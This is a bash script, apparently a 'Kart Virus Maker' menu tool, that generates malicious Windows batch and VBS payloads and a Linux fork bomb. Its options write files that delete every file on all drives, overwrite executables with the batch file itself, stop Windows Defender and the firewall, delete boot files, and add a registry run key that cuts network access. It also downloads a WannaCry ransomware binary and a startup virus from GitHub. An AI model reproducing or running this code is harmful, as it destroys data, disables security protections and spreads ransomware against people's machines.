KartVM.sh 15 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495
  1. #!/bin/bash
  2. RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" ORANGE="$(printf '\033[33m')" BLUE="$(printf '\033[34m')"
  3. MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')"
  4. REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" ORANGEBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')"
  5. MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')"
  6. RESETBG="$(printf '\e[0m\n')" YELLOW="$(printf '\033[1;33m')" GRAY="$(printf '\033[1;30m')"
  7. Need() {
  8. command -v wget > /dev/null 2>&1 || { echo >&2 "${RED}I require wget but it's not installed. Waiting few seconds .." ; sudo apt install wget; }
  9. command -v figlet toilet > /dev/null 2>&1 || { echo >&2 "${RED}I require figlet toilet but it's not installed. Waiting few seconds .." ; sudo apt install figlet toilet ; }
  10. }
  11. Menu() {
  12. printf "${CYAN}[1]${MAGENTA} CmdLoop ${CYAN}[2]${MAGENTA} Worm \n"
  13. printf "${CYAN}[3]${MAGENTA} ReNameFile ${CYAN}[4]${MAGENTA} FormatWindows \n"
  14. printf "${CYAN}[5]${MAGENTA} Infect[Worm] ${CYAN}[6]${MAGENTA} LinuxBomb \n"
  15. printf "${CYAN}[7]${MAGENTA} Run An App with Invisible [*.vbs] ${CYAN}[8]${MAGENTA} InfectEXE \n"
  16. printf "${CYAN}[9]${MAGENTA} CVirus [Require Internet] ${CYAN}[10]${MAGENTA} Disable AntiVirus \n"
  17. printf "${CYAN}[11]${MAGENTA} CrashPC ${CYAN}[12]${MAGENTA} Ransomware [WannaCry] [Require Internet] \n"
  18. printf "${CYAN}[13]${MAGENTA} Alart Loop ${CYAN}[14]${MAGENTA} Disable Network \n"
  19. printf "\n"
  20. read -p "${GREEN}Enter Option: ${RED}" option
  21. if [[ $option == 1 ]]; then
  22. CmdLoop
  23. elif [[ $option == 2 ]]; then
  24. Worm
  25. elif [[ $option == 3 ]]; then
  26. ReNameFile
  27. elif [[ $option == 4 ]]; then
  28. FormatWindows
  29. elif [[ $option == 5 ]]; then
  30. Infect
  31. elif [[ $option == 6 ]]; then
  32. LinuxBomb
  33. elif [[ $option == 7 ]]; then
  34. Invisible
  35. elif [[ $option == 8 ]]; then
  36. InfectEXE
  37. elif [[ $option == 9 ]]; then
  38. Cvirus
  39. elif [[ $option == 10 ]]; then
  40. DisableAntiVirus
  41. elif [[ $option == 11 ]]; then
  42. CrashPC
  43. elif [[ $option == 12 ]]; then
  44. Ransomware
  45. elif [[ $option == 13 ]]; then
  46. AlartLoop
  47. elif [[ $option == 14 ]]; then
  48. DisableNet
  49. else
  50. echo "InVaild Options ...."
  51. sleep 2
  52. clear ; Banner1 ; Banner2 ; Menu
  53. fi
  54. }
  55. default_directory=$home
  56. CmdLoop() {
  57. read -p "${ORANGE}Enter Directory(Default_Directory: Home): " save
  58. save="${save:-${default_directory}}"
  59. printf "${CYAN}Building Payload ....\n"
  60. sleep 2
  61. echo "@echo off " > $save/Output.bat
  62. echo ":Loop" >> $save/Output.bat
  63. echo "start" >> $save/Output.bat
  64. echo "goto :Loop" >> $save/Output.bat
  65. if [[ -e $save/Output.bat ]]; then
  66. printf "${CYAN}Status: ${GREEN}Success ...\n"
  67. else
  68. printf "${RED}Status: ${RED}Failed ...\n"
  69. printf "${RED}Enter Vaild Directory ...\n"
  70. fi
  71. read -p "${ORANGE}Do you restart it [Y/N]: " op
  72. if [[ $op == Y ]] | [[ $op == y ]]; then
  73. { clear ; Banner1 ; Banner2 ; echo ; }
  74. sleep 2
  75. Menu
  76. elif [[ $op == N ]] | [[ $op == n ]]; then
  77. printf "${RED}Good Bye ^_^\n"
  78. exit 0
  79. else
  80. echo "${RED}Enter Vaild Option ..."
  81. exit 1
  82. fi
  83. }
  84. Worm() {
  85. echo "Sorry Not Available" > log.txt
  86. echo "This is the only paid version you will get" >> log.txt
  87. status=$(cat log.txt | grep -o "Not Available")
  88. echo -e "${CYAN}Status: ${RED}" $status
  89. echo "${CYAN}Waiting..."
  90. sleep 5
  91. printf "\n${RED}This is the only paid version you will get\n"
  92. read -p "${ORANGE}Do you restart it [Y/N]: " op
  93. if [[ $op == Y ]] | [[ $op == y ]]; then
  94. { clear ; Banner1 ; Banner2 ; echo ; }
  95. sleep 2
  96. Menu
  97. elif [[ $op == N ]] | [[ $op == n ]]; then
  98. printf "${RED}Good Bye ^_^\n"
  99. exit 0
  100. else
  101. echo "${RED}Enter Vaild Option ..."
  102. exit 1
  103. fi
  104. }
  105. ReNameFile() {
  106. read -p "${ORANGE}Enter Directory(Default_Directory: Home): " save
  107. save="${save:-${default_directory}}"
  108. printf "${CYAN}Building Payload ....\n"
  109. sleep 2
  110. echo "for /f %%f in ('dir C:\Users\*.* /s /b') do (rename %%f *.exe)" > $save/Output.bat
  111. if [[ -e $save/Output.bat ]]; then
  112. printf "${CYAN}Status: ${GREEN}Success ...\n"
  113. else
  114. printf "${RED}Status: ${RED}Failed ...\n"
  115. printf "${RED}Enter Vaild Directory ...\n"
  116. fi
  117. read -p "${ORANGE}Do you restart it [Y/N]: " op
  118. if [[ $op == Y ]] | [[ $op == y ]]; then
  119. { clear ; Banner1 ; Banner2 ; echo ; }
  120. sleep 2
  121. Menu
  122. elif [[ $op == N ]] | [[ $op == n ]]; then
  123. printf "${RED}Good Bye ^_^\n"
  124. exit 0
  125. else
  126. echo "${RED}Enter Vaild Option ..."
  127. exit 1
  128. fi
  129. }
  130. FormatWindows() {
  131. read -p "${ORANGE}Enter Directory(Default_Directory: Home): " save
  132. save="${save:-${default_directory}}"
  133. printf "${CYAN}Building Payload ....\n"
  134. sleep 3
  135. echo "for %%E In (A,B,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (del %%E:\*.* /F /Q >NUL )" > $save/Output.bat
  136. if [[ -e $save/Output.bat ]]; then
  137. printf "${CYAN}Status: ${GREEN}Success ...\n"
  138. else
  139. printf "${RED}Status: ${RED}Failed ...\n"
  140. printf "${RED}Enter Vaild Directory ...\n"
  141. fi
  142. read -p "${ORANGE}Do you restart it [Y/N]: " op
  143. if [[ $op == Y ]] | [[ $op == y ]]; then
  144. { clear ; Banner1 ; Banner2 ; echo ; }
  145. sleep 2
  146. Menu
  147. elif [[ $op == N ]] | [[ $op == n ]]; then
  148. printf "${RED}Good Bye ^_^\n"
  149. exit 0
  150. else
  151. echo "${RED}Enter Vaild Option ..."
  152. exit 1
  153. fi
  154. }
  155. Infect() {
  156. echo "Sorry Not Available" > log.txt
  157. echo "This is the only paid version you will get" >> log.txt
  158. status=$(cat log.txt | grep -o "Not Available")
  159. echo -e "${CYAN}Status: ${RED}" $status
  160. echo "${CYAN}Waiting..."
  161. sleep 5
  162. printf "\n${RED}This is the only paid version you will get\n"
  163. read -p "${ORANGE}Do you restart it [Y/N]: " op
  164. if [[ $op == Y ]] | [[ $op == y ]]; then
  165. { clear ; Banner1 ; Banner2 ; echo ; }
  166. sleep 2
  167. Menu
  168. elif [[ $op == N ]] | [[ $op == n ]]; then
  169. printf "${RED}Good Bye ^_^\n"
  170. exit 0
  171. else
  172. echo "${RED}Enter Vaild Option ..."
  173. exit 1
  174. fi
  175. }
  176. LinuxBomb() {
  177. read -p "${ORANGE}Enter Directory(Default_Directory: Home): " save
  178. save="${save:-${default_directory}}"
  179. printf "${CYAN}Building Payload ....\n"
  180. echo ":(){ :|: & };:" > $save/Output.sh
  181. if [[ -e $save/Output.sh ]]; then
  182. printf "${CYAN}Status: ${GREEN}Success ...\n"
  183. else
  184. printf "${RED}Status: ${RED}Failed ...\n"
  185. printf "${RED}Enter Vaild Directory ...\n"
  186. fi
  187. read -p "${ORANGE}Do you restart it [Y/N]: " op
  188. if [[ $op == Y ]] | [[ $op == y ]]; then
  189. { clear ; Banner1 ; Banner2 ; echo ; }
  190. sleep 2
  191. Menu
  192. elif [[ $op == N ]] | [[ $op == n ]]; then
  193. printf "${RED}Good Bye ^_^\n"
  194. exit 0
  195. else
  196. echo "${RED}Enter Vaild Option ..."
  197. exit 1
  198. fi
  199. }
  200. Invisible() {
  201. read -p "${ORANGE}Enter Directory(Default_Directory: Home): " save
  202. save="${save:-${default_directory}}"
  203. printf "${CYAN}Building Payload ....\n"
  204. sleep 5
  205. echo "Set objShell = CreateObject("WScript.Shell")" > $save/Output.vbs
  206. echo "strCommand = "Program_Path"" >> $save/Output.vbs
  207. echo "objShell.Run strCommand, vbHide, TRUE" >> $save/Output.vbs
  208. if [[ -e $save/Output.vbs ]]; then
  209. printf "${CYAN}Status: ${GREEN}Success ...\n"
  210. else
  211. printf "${RED}Status: ${RED}Failed ...\n"
  212. printf "${RED}Enter Vaild Directory ...\n"
  213. fi
  214. read -p "${ORANGE}Do you restart it [Y/N]: " op
  215. if [[ $op == Y ]] | [[ $op == y ]]; then
  216. { clear ; Banner1 ; Banner2 ; echo ; }
  217. sleep 2
  218. Menu
  219. elif [[ $op == N ]] | [[ $op == n ]]; then
  220. printf "${RED}Good Bye ^_^\n"
  221. exit 0
  222. else
  223. echo "${RED}Enter Vaild Option ..."
  224. exit 1
  225. fi
  226. }
  227. InfectEXE() {
  228. read -p "${ORANGE}Enter Directory(Default_Directory: Home): " save
  229. save="${save:-${default_directory}}"
  230. printf "${CYAN}Building Payload ....\n"
  231. sleep 3
  232. echo "for /f %%f in ('dir C:\Users\*.exe /s /b') do (copy /y %0 %%f)" > $save/Output.bat
  233. if [[ -e $save/Output.bat ]]; then
  234. printf "${CYAN}Status: ${GREEN}Success ...\n"
  235. else
  236. printf "${RED}Status: ${RED}Failed ...\n"
  237. printf "${RED}Enter Vaild Directory ...\n"
  238. fi
  239. read -p "${ORANGE}Do you restart it [Y/N]: " op
  240. if [[ $op == Y ]] | [[ $op == y ]]; then
  241. { clear ; Banner1 ; Banner2 ; echo ; }
  242. sleep 2
  243. Menu
  244. elif [[ $op == N ]] | [[ $op == n ]]; then
  245. printf "${RED}Good Bye ^_^\n"
  246. exit 0
  247. else
  248. echo "${RED}Enter Vaild Option ..."
  249. exit 1
  250. fi
  251. }
  252. Cvirus() {
  253. read -p "${ORANGE}Enter Directory(Default_Directory: Home): " save
  254. save="${save:-${default_directory}}"
  255. printf "${CYAN}Downloading Payload ....\n"
  256. sleep 3
  257. wget https://raw.githubusercontent.com/Anish-M-code/Cstorm-windows-startup-virus-in-c/master/Binaries/cstorm.exe > /dev/null 2>&1
  258. if [[ -e $save/cstorm.exe ]]; then
  259. mv $save/cstorm.exe $save/Output.exe
  260. printf "${CYAN}Status: ${GREEN}Success ...\n"
  261. else
  262. printf "${RED}Status: ${RED}Failed ...\n"
  263. printf "${RED}Enter Vaild Directory or Check Your Internet Connection ...\n"
  264. fi
  265. read -p "${ORANGE}Do you restart it [Y/N]: " op
  266. if [[ $op == Y ]] | [[ $op == y ]]; then
  267. { clear ; Banner1 ; Banner2 ; echo ; }
  268. sleep 2
  269. Menu
  270. elif [[ $op == N ]] | [[ $op == n ]]; then
  271. printf "${RED}Good Bye ^_^\n"
  272. exit 0
  273. else
  274. echo "${RED}Enter Vaild Option ..."
  275. exit 1
  276. fi
  277. }
  278. DisableAntiVirus() {
  279. read -p "${ORANGE}Enter Directory(Default_Directory: Home): " save
  280. save="${save:-${default_directory}}"
  281. printf "${CYAN}Building Payload ....\n"
  282. sleep 5
  283. echo "net stop 'SDRSVC'" > $save/Output.bat
  284. echo "net stop 'WinDefend'" >> $save/Output.bat
  285. echo "taskkill /f /t /im 'MSASCui.exe'" >> $save/Output.bat
  286. echo "net stop 'security center'" >> $save/Output.bat
  287. echo "netsh firewall set opmode mode-disable" >> $save/Output.bat
  288. echo "net stop 'wuauserv'" >> $save/Output.bat
  289. echo "net stop 'Windows Defender Service'" >> $save/Output.bat
  290. echo "net stop 'Windows Firewall'" >> $save/Output.bat
  291. echo "net stop 'sharedaccess'" >> $save/Output.bat
  292. if [[ -e $save/Output.bat ]]; then
  293. printf "${CYAN}Status: ${GREEN}Success ...\n"
  294. else
  295. printf "${RED}Status: ${RED}Failed ...\n"
  296. printf "${RED}Enter Vaild Directory ...\n"
  297. fi
  298. read -p "${ORANGE}Do you restart it [Y/N]: " op
  299. if [[ $op == Y ]] | [[ $op == y ]]; then
  300. { clear ; Banner1 ; Banner2 ; echo ; }
  301. sleep 2
  302. Menu
  303. elif [[ $op == N ]] | [[ $op == n ]]; then
  304. printf "${RED}Good Bye ^_^\n"
  305. exit 0
  306. else
  307. echo "${RED}Enter Vaild Option ..."
  308. exit 1
  309. fi
  310. }
  311. CrashPC() {
  312. read -p "${ORANGE}Enter Directory(Default_Directory: Home): " save
  313. save="${save:-${default_directory}}"
  314. printf "${CYAN}Building Payload ....\n"
  315. sleep 5
  316. echo "@echo off" > $save/Output.bat
  317. echo "shutdown -r - t 10 -c 'PC will Crash in 10 sec'" >> $save/Output.bat
  318. echo "attrib -r -s -h C:boot.ini" >> $save/Output.bat
  319. echo "@del C:boot.ini" >> $save/Output.bat
  320. echo "attrib -s -r - h C:windowswin.ini" >> $save/Output.bat
  321. echo "@del C:windowswin.ini" >> $save/Output.bat
  322. if [[ -e $save/Output.bat ]]; then
  323. printf "${CYAN}Status: ${GREEN}Success ...\n"
  324. else
  325. printf "${RED}Status: ${RED}Failed ...\n"
  326. printf "${RED}Enter Vaild Directory ...\n"
  327. fi
  328. read -p "${ORANGE}Do you restart it [Y/N]: " op
  329. if [[ $op == Y ]] | [[ $op == y ]]; then
  330. { clear ; Banner1 ; Banner2 ; echo ; }
  331. sleep 2
  332. Menu
  333. elif [[ $op == N ]] | [[ $op == n ]]; then
  334. printf "${RED}Good Bye ^_^\n"
  335. exit 0
  336. else
  337. echo "${RED}Enter Vaild Option ..."
  338. exit 1
  339. fi
  340. }
  341. Ransomware() {
  342. read -p "${ORANGE}Enter Directory(Default_Directory: Home): " save
  343. save="${save:-${default_directory}}"
  344. printf "${CYAN}Downloading Payload ....\n"
  345. sleep 3
  346. wget https://raw.githubusercontent.com/manashma/WannaCry/main/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe > /dev/null 2>&1
  347. if [[ -e $save/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe ]]; then
  348. mv $save/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe $save/Output.exe
  349. printf "${CYAN}Status: ${GREEN}Success ...\n"
  350. else
  351. printf "${RED}Status: ${RED}Failed ...\n"
  352. printf "${RED}Enter Vaild Directory or Check Your Internet Connection ...\n"
  353. fi
  354. read -p "${ORANGE}Do you restart it [Y/N]: " op
  355. if [[ $op == Y ]] | [[ $op == y ]]; then
  356. { clear ; Banner1 ; Banner2 ; echo ; }
  357. sleep 2
  358. Menu
  359. elif [[ $op == N ]] | [[ $op == n ]]; then
  360. printf "${RED}Good Bye ^_^\n"
  361. exit 0
  362. else
  363. echo "${RED}Enter Vaild Option ..."
  364. exit 1
  365. fi
  366. }
  367. AlartLoop() {
  368. read -p "${ORANGE}Enter Directory(Default_Directory: Home): " save
  369. save="${save:-${default_directory}}"
  370. printf "${CYAN}Building Payload ....\n"
  371. sleep 2
  372. echo "do" > $save/Output.vbs
  373. echo "msgbox'Your message here' , 48 , 'AlartLoop'" >> $save/Output.vbs
  374. echo "loop" >> $save/Output.vbs
  375. if [[ -e $save/Output.vbs ]]; then
  376. printf "${CYAN}Status: ${GREEN}Success ...\n"
  377. else
  378. printf "${RED}Status: ${RED}Failed ...\n"
  379. printf "${RED}Enter Vaild Directory ...\n"
  380. fi
  381. read -p "${ORANGE}Do you restart it [Y/N]: " op
  382. if [[ $op == Y ]] | [[ $op == y ]]; then
  383. { clear ; Banner1 ; Banner2 ; echo ; }
  384. sleep 2
  385. Menu
  386. elif [[ $op == N ]] | [[ $op == n ]]; then
  387. printf "${RED}Good Bye ^_^\n"
  388. exit 0
  389. else
  390. echo "${RED}Enter Vaild Option ..."
  391. exit 1
  392. fi
  393. }
  394. DisableNet() {
  395. read -p "${ORANGE}Enter Directory(Default_Directory: Home): " save
  396. save="${save:-${default_directory}}"
  397. printf "${CYAN}Building Payload ....\n"
  398. sleep 5
  399. echo "echo @echo off>c:windowswimn32.bat" > $save/Output.bat
  400. echo "echo break off>>c:windowswimn32.bat" >> $save/Output.bat
  401. echo "echo ipconfig/release_all>>c:windowswimn32.bat" >> $save/Output.bat
  402. echo "echo end>>c:windowswimn32.bat" >> $save/Output.bat
  403. echo "reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f" >> $save/Output.bat
  404. echo "reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f" >> $save/Output.bat
  405. echo "echo Now, You Lost Your Connection!" >> $save/Output.bat
  406. echo "PAUSE" >> $save/Output.bat
  407. if [[ -e $save/Output.bat ]]; then
  408. printf "${CYAN}Status: ${GREEN}Success ...\n"
  409. else
  410. printf "${RED}Status: ${RED}Failed ...\n"
  411. printf "${RED}Enter Vaild Directory ...\n"
  412. fi
  413. read -p "${ORANGE}Do you restart it [Y/N]: " op
  414. if [[ $op == Y ]] | [[ $op == y ]]; then
  415. { clear ; Banner1 ; Banner2 ; echo ; }
  416. sleep 2
  417. Menu
  418. elif [[ $op == N ]] | [[ $op == n ]]; then
  419. printf "${RED}Good Bye ^_^\n"
  420. exit 0
  421. else
  422. echo "${RED}Enter Vaild Option ..."
  423. exit 1
  424. fi
  425. }
  426. Banner1() {
  427. clear
  428. printf "${YELLOW}Welcome to Kart or Manash Virus Maker (v1.1)\n"
  429. figlet Kart VM
  430. printf "\n"
  431. printf "Thanks for shopping with Kart Virus Maker\n"
  432. }
  433. Banner2() {
  434. date=$("date")
  435. printf "${GREEN}[-] Tool Created by Kart Studio (Manash Mahanta)\n"
  436. printf "${GREEN}[-] Only use for educational purporses!!\n"
  437. printf "${RED}[-] Author : Manash Mahanta \n"
  438. printf "${GRAY}[-] Contact Me : beastbattle24@gmail.com for any issue\n"
  439. printf "${YELLOW}[-]Website: https://www.hacknetbite.blogspot.com\n"
  440. printf "\n"
  441. printf "${BLUE} #########################################################################\n"
  442. printf "${BLUE} | Warning use only you own desktop environment |\n"
  443. printf "${BLUE} #########################################################################\n"
  444. printf "\n"
  445. printf "${GREEN}[#]Started On 👻👻👻 >>> ${YELLOW}$date \n"
  446. printf "\n"
  447. }
  448. Need
  449. Banner1
  450. Banner2
  451. Menu